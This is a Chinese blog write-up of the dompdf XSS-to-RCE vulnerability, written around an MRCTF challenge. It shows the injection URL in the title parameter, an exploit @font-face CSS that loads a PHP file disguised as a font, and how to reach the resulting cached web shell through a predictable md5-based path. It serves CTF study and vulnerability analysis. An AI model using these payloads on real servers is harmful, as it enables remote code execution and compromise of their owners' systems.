不就前曝出来的一个漏洞,从xss到rce,也是这次mrctf中tprint这题的考点

https://github.com/positive-security/dompdf-rce

dompdf是PHP的一个可以将html转换为pdf的库

image-20220506163034446

image-20220506163126528

title处存在xss

image-20220506163249154

那么这个xss能干嘛能

看源码

Options.php

image-20220506163518341

isRemoteEnabled为加载远程资源,默认是关闭的

如果开启就可以加载远程资源

image-20220506163642320

http://localhost:9000/index.php?title=<link rel=stylesheet href='http://localhost:9001/isRemoteEnabled.css'>

确实可以(css内容为缩小图片)

image-20220506164648484

回到dompdf,dompdf 允许通过字体 CSS 规则加载自定义字体

比如

@font-face {
   font-family:'TestFont';
   src:url('http://attacker.local/test_font.ttf');
   font-weight:'normal';
   font-style:'normal';
 }

看一下dmpdf如何注册新字体

FortMetrics.php

image-20220506170933115

文件名为字体名称_样式_md5($remoteFile),以上面那个css为例

最终为testfont_normal_d249c21fbbb1302ab53282354d462d9e.tff

(d249c21fbbb1302ab53282354d462d9e == md5(http://attacker.local/test_font.ttf))

文件名可控,接着看文件内容

源码判断是否是字体文件只判断文件头,而不管文件后缀,也就是说如果是恶意的PHP文件,只要文件头正确就能被解析

比如如下文件

image-20220506173424204

exploit.css

@font-face {
    font-family:'exploitfont2';
    src:url('http://localhost:9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }

访问

http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

此时已经生成了php文件

image-20220506194523418

访问

http://localhost:9000/dompdf/lib/fonts/exploitfont2_normal_3f83639933428d70e74a061f39009622.php

image-20220506194548758

注意点:github上的那个源码,已经自带了那个生成的PHP文件,这属实有点坑人了,自己测试时记得换字体名称

但这里有个问题就是这个'ttf'(php)应该怎么构造,一开始我以为只要单纯的文件结尾加上恶意代码就行了,测试后发现不行,仔细研究了下这个例子中的'ttf'(php),发现即使是删掉一个空格都会出错

按照原文的说法,是往版权部分添加恶意代码

image-20220506235650235

那按道理说我应该可以改成任意代码,但就是不行,不知道是构造的ttf有问题还是这个漏洞的哪里理解有问题


参考

从 XSS 到 RCE (dompdf 0day) |积极的安全性 (positive.security)

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏